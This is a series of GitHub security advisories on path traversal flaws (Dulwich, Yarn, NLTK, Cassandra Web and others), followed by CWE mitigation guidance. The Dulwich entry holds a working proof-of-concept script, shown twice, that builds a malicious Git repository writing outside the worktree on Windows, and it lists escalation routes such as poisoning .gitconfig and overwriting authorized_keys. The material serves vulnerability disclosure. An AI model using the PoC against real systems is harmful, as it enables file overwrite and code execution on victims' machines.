# VULNERABILITY: The "C:" directory bypasses validation
c_drive = Tree(); c_drive[b"C:"] = (0o040000, users_dir.id)
repo.object_store.add_object(c_drive)
commit = Commit()
commit.tree = c_drive.id
commit.message = b"add feature"
commit.author = commit.committer = b"attacker <a@evil.example>"
commit.author_time = commit.commit_time = 1700000000
commit.author_timezone = commit.committer_timezone = 0
repo.object_store.add_object(commit)
repo.refs[b"refs/heads/main"] = commit.id
print(f"Malicious repo created at {repo_path}")
print(f"Clone with: dulwich clone {repo_path} /target/win/worktree")
# Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dulwich"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-02T19:14:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Affected files\n* `dulwich/index.py` (Methods: `validate_path_element_ntfs`, `_tree_to_fs_path`)\n* `dulwich/porcelain/__init__.py` (Method: `_checked_worktree_path`)\n\n### Description / Summary\nA High-severity Path Traversal vulnerability exists in Dulwich\u0027s checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject `.git` variants, Alternate Data Streams (ADS), `git~1` short names, and reserved device names, but they completely fail to check for **DOS drive letter prefixes**.\n\nA malicious Git tree can contain an entry named `C:`. When Dulwich processes this tree on a Windows client, the string passes the `validate_path_element_ntfs` check. Later, `_tree_to_fs_path` passes this path to `os.path.join(root, b\"C:\\\\\\\\Users\\\\\\\\...\")`. \n\nOn Windows, if the second argument to `os.path.join` contains an absolute drive letter, the `root` path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.\n\nWhile the standard C `git` client explicitly blocks this via `has_dos_drive_prefix()` in `path.c`, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.\n\n### Potential impact\n\nThis vulnerability allows an attacker to achieve **Arbitrary File Write**, which can trivially be escalated to **Remote Code Execution (RCE)** or total system compromise on the victim\u0027s Windows machine.\n\nAttack vectors include:\n1. **Git Config Poisoning (RCE):** Writing a malicious `C:\\\\Users\\\\\u003cvictim\u003e\\\\.gitconfig` file to set `core.sshCommand` to an arbitrary executable, granting RCE the next time the user interacts with Git.\n2. **Persistence (RCE):** Dropping a malicious executable into `C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\`.\n3. **SSH Key Overwrite:** Writing to `C:\\\\Users\\\\\u003cvictim\u003e\\\\.ssh\\\\authorized_keys` to compromise remote servers accessible by the victim.\n4. **CI/CD Compromise:** If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.\n\n### Proof of Concept (PoC)\nThe following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.\n\n```python\nfrom dulwich.objects import Blob, Tree, Commit\nfrom dulwich.repo import Repo\nimport os, tempfile\n\nrepo_path = tempfile.mkdtemp()\nrepo = Repo.init(repo_path)\n\n# 1. Build the payload blob.\nblob = Blob(); blob.data = b\"pwned-by-drive-letter\\\\n\"\nrepo.object_store.add_object(blob)\n\n# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt\nevil_txt = Tree(); evil_txt[b\"evil.txt\"] = (0o100644, blob.id)\nrepo.object_store.add_object(evil_txt)\nvictim_dir = Tree(); victim_dir[b\"victim\"] = (0o040000, evil_txt.id)\nrepo.object_store.add_object(victim_dir)\nusers_dir = Tree(); users_dir[b\"Users\"] = (0o040000, victim_dir.id)\nrepo.object_store.add_object(users_dir)\n\n# VULNERABILITY: The \"C:\" directory bypasses validation\nc_drive = Tree(); c_drive[b\"C:\"] = (0o040000, users_dir.id)\nrepo.object_store.add_object(c_drive)\n\ncommit = Commit()\ncommit.tree = c_drive.id\ncommit.message = b\"add feature\"\ncommit.author = commit.committer = b\"attacker \u003ca@evil.example\u003e\"\ncommit.author_time = commit.commit_time = 1700000000\ncommit.author_timezone = commit.committer_timezone = 0\nrepo.object_store.add_object(commit)\nrepo.refs[b\"refs/heads/main\"] = commit.id\n\nprint(f\"Malicious repo created at {repo_path}\")\nprint(f\"Clone with: dulwich clone {repo_path} /target/win/worktree\")\n# Result: A Windows checkout of this commit writes the payload directly to C:\\\\Users\\\\victim\\\\evil.txt\n```",
"id": "GHSA-8mcx-5rqc-vhmf",
"modified": "2026-10-02T19:14:21Z",
"published": "2026-10-02T19:14:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-8mcx-5rqc-vhmf"
},
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/commit/4ca77f9f470742ba246cd6fa07beb6d735045664"
},
{
"type": "PACKAGE",
"url": "https://github.com/jelmer/dulwich"
},
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths"
}
GHSA-8MF4-9XJ6-7HP7
Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30LG Simple Editor copyStickerContent Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of LG Simple Editor. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the implementation of the copyStickerContent command. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Was ZDI-CAN-19923.
{
"affected": [],
"aliases": [
"CVE-2023-40496"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:15:23Z",
"severity": "HIGH"
},
"details": "LG Simple Editor copyStickerContent Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of LG Simple Editor. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the copyStickerContent command. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Was ZDI-CAN-19923.",
"id": "GHSA-8mf4-9xj6-7hp7",
"modified": "2024-05-03T03:30:58Z",
"published": "2024-05-03T03:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40496"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1202"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8MF5-9V48-R2H3
Vulnerability from github – Published: 2022-05-14 02:56 – Updated: 2025-04-11 03:45Multiple directory traversal vulnerabilities in FocalMedia.Net Quick Polls before 1.0.2 allow remote attackers to (1) read arbitrary files via a .. (dot dot) in the p parameter in a preview action to index.php, or (2) delete arbitrary files via a .. (dot dot) in the p parameter in a delete action to index.php.
{
"affected": [],
"aliases": [
"CVE-2011-1099"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-03-09T23:00:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in FocalMedia.Net Quick Polls before 1.0.2 allow remote attackers to (1) read arbitrary files via a .. (dot dot) in the p parameter in a preview action to index.php, or (2) delete arbitrary files via a .. (dot dot) in the p parameter in a delete action to index.php.",
"id": "GHSA-8mf5-9v48-r2h3",
"modified": "2025-04-11T03:45:15Z",
"published": "2022-05-14T02:56:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1099"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/65947"
},
{
"type": "WEB",
"url": "http://osvdb.org/71028"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43599"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/8121"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/16933"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/516873/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/46770"
},
{
"type": "WEB",
"url": "http://www.uncompiled.com/2011/03/quick-polls-local-file-inclusion-deletion-vulnerabilities-cve-2011-1099"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8MF8-X5PX-F6PX
Vulnerability from github – Published: 2022-05-17 01:06 – Updated: 2025-10-22 03:30Directory traversal vulnerability in NTWebServer in InduSoft Web Studio 7.1 before SP2 Patch 4 allows remote attackers to read administrative passwords in APP files, and consequently execute arbitrary code, via unspecified web requests.
{
"affected": [],
"aliases": [
"CVE-2014-0780"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-04-25T05:12:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in NTWebServer in InduSoft Web Studio 7.1 before SP2 Patch 4 allows remote attackers to read administrative passwords in APP files, and consequently execute arbitrary code, via unspecified web requests.",
"id": "GHSA-8mf8-x5px-f6px",
"modified": "2025-10-22T03:30:36Z",
"published": "2022-05-17T01:06:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0780"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2014-0780"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-14-107-02"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42699"
},
{
"type": "WEB",
"url": "http://download.indusoft.com/71.2.4/IWS71.2.4.zip"
},
{
"type": "WEB",
"url": "http://ics-cert.us-cert.gov/advisories/ICSA-14-107-02"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/67056"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8MFC-V7WV-P62G
Vulnerability from github – Published: 2022-02-09 22:43 – Updated: 2021-04-08 20:35Arbitrary filesystem write vulnerability in Yarn 1.21.1 and earlier allows attackers to write to any path on the filesystem and potentially lead to arbitrary code execution by forcing the user to install a malicious package.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.21.1"
},
"package": {
"ecosystem": "npm",
"name": "yarn"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8131"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-08T20:35:01Z",
"nvd_published_at": "2020-02-24T15:15:00Z",
"severity": "HIGH"
},
"details": "Arbitrary filesystem write vulnerability in Yarn 1.21.1 and earlier allows attackers to write to any path on the filesystem and potentially lead to arbitrary code execution by forcing the user to install a malicious package.",
"id": "GHSA-8mfc-v7wv-p62g",
"modified": "2021-04-08T20:35:01Z",
"published": "2022-02-09T22:43:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8131"
},
{
"type": "WEB",
"url": "https://github.com/yarnpkg/yarn/pull/7831"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/730239"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in Yarn"
}
GHSA-8MFV-XHP5-48Q9
Vulnerability from github – Published: 2026-01-27 18:32 – Updated: 2026-09-08 18:17Cassandra Web 0.5.0 contains a directory traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating path traversal parameters. Attackers can exploit the disabled Rack::Protection module to read sensitive system files like /etc/passwd and retrieve Apache Cassandra database credentials.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "cassandra-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-36939"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T18:17:10Z",
"nvd_published_at": "2026-01-27T16:16:11Z",
"severity": "HIGH"
},
"details": "Cassandra Web 0.5.0 contains a directory traversal vulnerability that allows unauthenticated attackers to read arbitrary files by manipulating path traversal parameters. Attackers can exploit the disabled Rack::Protection module to read sensitive system files like /etc/passwd and retrieve Apache Cassandra database credentials.",
"id": "GHSA-8mfv-xhp5-48q9",
"modified": "2026-09-08T18:17:10Z",
"published": "2026-01-27T18:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36939"
},
{
"type": "PACKAGE",
"url": "https://github.com/avalanche123/cassandra-web"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/cassandra-web/CVE-2020-36939.yml"
},
{
"type": "WEB",
"url": "https://rubygems.org/gems/cassandra-web/versions/0.5.0"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49362"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/cassandra-web-remote-file-read"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Cassandra Web - Remote File Read"
}
GHSA-8MGP-746C-J5XP
Vulnerability from github – Published: 2026-09-02 14:35 – Updated: 2026-11-02 22:06Summary
Several model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.
Details
- Vulnerability type: File sandbox bypass
- Affected component:
TransitionParser.train,TransitionParser.parse,AveragedPerceptron.save,AveragedPerceptron.load,PerceptronTagger.save_to_json,save_maxent_params - Affected versions: Published
3.9.4and current sourcev3.10.0-rc2both reproduced. - Patched versions: Not yet patched
- Root cause: Model import and export helpers use built-in
open()on caller-controlled paths instead of pathsec-aware helpers.
TransitionParser.train() writes outside allowed roots, TransitionParser.parse() reads outside allowed roots, AveragedPerceptron bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while pathsec.open() or the guarded sibling helpers rejected the same paths.
PoC
Preconditions
- The application enables pathsec enforcement and lets untrusted workflows choose model import or export paths.
Steps
1. Enable pathsec.ENFORCE=True and restrict allowed roots to a dedicated sandbox directory.
2. Use public model import or export APIs with paths that point outside that root.
3. Observe the same paths are rejected by negative-control guarded helpers such as pathsec.open(), PerceptronTagger.load_from_json(), or load_maxent_params().
4. Observe the vulnerable APIs still read or write outside-root files successfully.
Minimal reproducible excerpt
transition_train_exists True
transition_parse_loader_read_bytes 13
averaged_load_keys ['bias']
maxent_save wrote ['alwayson.tab', 'labels.txt']
Impact
Consumers that rely on pathsec for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.
Remediation
Route all model-path file access through nltk.pathsec.open() or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.
References
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L551-L571
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tag/perceptron.py#L106-L113
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tag/perceptron.py#L262-L273
- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/classify/maxent.py#L1583-L1602
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-81726"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:35:04Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nSeveral model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.\n\n### Details\n\n- **Vulnerability type:** File sandbox bypass\n- **Affected component:** `TransitionParser.train`, `TransitionParser.parse`, `AveragedPerceptron.save`, `AveragedPerceptron.load`, `PerceptronTagger.save_to_json`, `save_maxent_params`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Model import and export helpers use built-in `open()` on caller-controlled paths instead of pathsec-aware helpers.\n\n`TransitionParser.train()` writes outside allowed roots, `TransitionParser.parse()` reads outside allowed roots, `AveragedPerceptron` bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while `pathsec.open()` or the guarded sibling helpers rejected the same paths.\n\n### PoC\n\n**Preconditions**\n- The application enables `pathsec` enforcement and lets untrusted workflows choose model import or export paths.\n\n**Steps**\n1. Enable `pathsec.ENFORCE=True` and restrict allowed roots to a dedicated sandbox directory.\n2. Use public model import or export APIs with paths that point outside that root.\n3. Observe the same paths are rejected by negative-control guarded helpers such as `pathsec.open()`, `PerceptronTagger.load_from_json()`, or `load_maxent_params()`.\n4. Observe the vulnerable APIs still read or write outside-root files successfully.\n\n**Minimal reproducible excerpt**\n\n```text\ntransition_train_exists True\ntransition_parse_loader_read_bytes 13\naveraged_load_keys [\u0027bias\u0027]\nmaxent_save wrote [\u0027alwayson.tab\u0027, \u0027labels.txt\u0027]\n```\n\n### Impact\n\nConsumers that rely on `pathsec` for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.\n\n### Remediation\n\nRoute all model-path file access through `nltk.pathsec.open()` or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.\n\n### References\n\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L551-L571\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tag/perceptron.py#L106-L113\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tag/perceptron.py#L262-L273\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/classify/maxent.py#L1583-L1602",
"id": "GHSA-8mgp-746c-j5xp",
"modified": "2026-11-02T22:06:17Z",
"published": "2026-09-02T14:35:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-8mgp-746c-j5xp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81726"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3757"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3759"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3813"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/2a92b71827d754ae8920261e7ed0c4bb283ab2d7"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/a44a7af69bca87e92d9c4a701fcbbe4512e8d450"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/cbc98458b43de5f792f0382583c16df39e5c5117"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3740.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-through-3.10.3-path-traversal-via-model-artifact-apis"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots"
}
GHSA-8MH3-FM3J-QQQ2
Vulnerability from github – Published: 2022-05-17 00:15 – Updated: 2022-05-17 00:15Multiple directory traversal vulnerabilities in (1) compose.php and (2) libs/Atmail/SendMsg.php in @Mail WebMail Client in AtMail Open-Source before 1.05 allow remote attackers to read arbitrary files via a .. (dot dot) in the Attachment[] parameter.
{
"affected": [],
"aliases": [
"CVE-2012-1918"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-03-27T19:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in (1) compose.php and (2) libs/Atmail/SendMsg.php in @Mail WebMail Client in AtMail Open-Source before 1.05 allow remote attackers to read arbitrary files via a .. (dot dot) in the Attachment[] parameter.",
"id": "GHSA-8mh3-fm3j-qqq2",
"modified": "2022-05-17T00:15:52Z",
"published": "2022-05-17T00:15:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1918"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/74504"
},
{
"type": "WEB",
"url": "http://atmail.org/download/atmailopen.tgz"
},
{
"type": "WEB",
"url": "http://en.securitylab.ru/lab/PT-2011-48"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/47012"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/743555"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8MHW-737Q-F96R
Vulnerability from github – Published: 2026-09-08 00:30 – Updated: 2026-09-08 00:30knowns before 0.30.0 fails to validate import names in the import routes, allowing unauthenticated attackers to write files outside the imports directory. Attackers can supply traversal sequences in the name parameter to escape the imports directory and overwrite arbitrary files writable by the server process.
{
"affected": [],
"aliases": [
"CVE-2026-86542"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-07T23:16:54Z",
"severity": "HIGH"
},
"details": "knowns before 0.30.0 fails to validate import names in the import routes, allowing unauthenticated attackers to write files outside the imports directory. Attackers can supply traversal sequences in the name parameter to escape the imports directory and overwrite arbitrary files writable by the server process.",
"id": "GHSA-8mhw-737q-f96r",
"modified": "2026-09-08T00:30:22Z",
"published": "2026-09-08T00:30:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/knowns-dev/knowns/security/advisories/GHSA-wh3c-v55g-qfg8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86542"
},
{
"type": "WEB",
"url": "https://github.com/knowns-dev/knowns/commit/d3989829fb5095666d23d005b2f78a082832a396"
},
{
"type": "WEB",
"url": "https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/server/routes/imports.go#L376-L420"
},
{
"type": "WEB",
"url": "https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/server/routes/imports.go#L519-L551"
},
{
"type": "WEB",
"url": "https://github.com/knowns-dev/knowns/releases/tag/v0.30.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/knowns-before-0.30.0-path-traversal-via-import-name"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
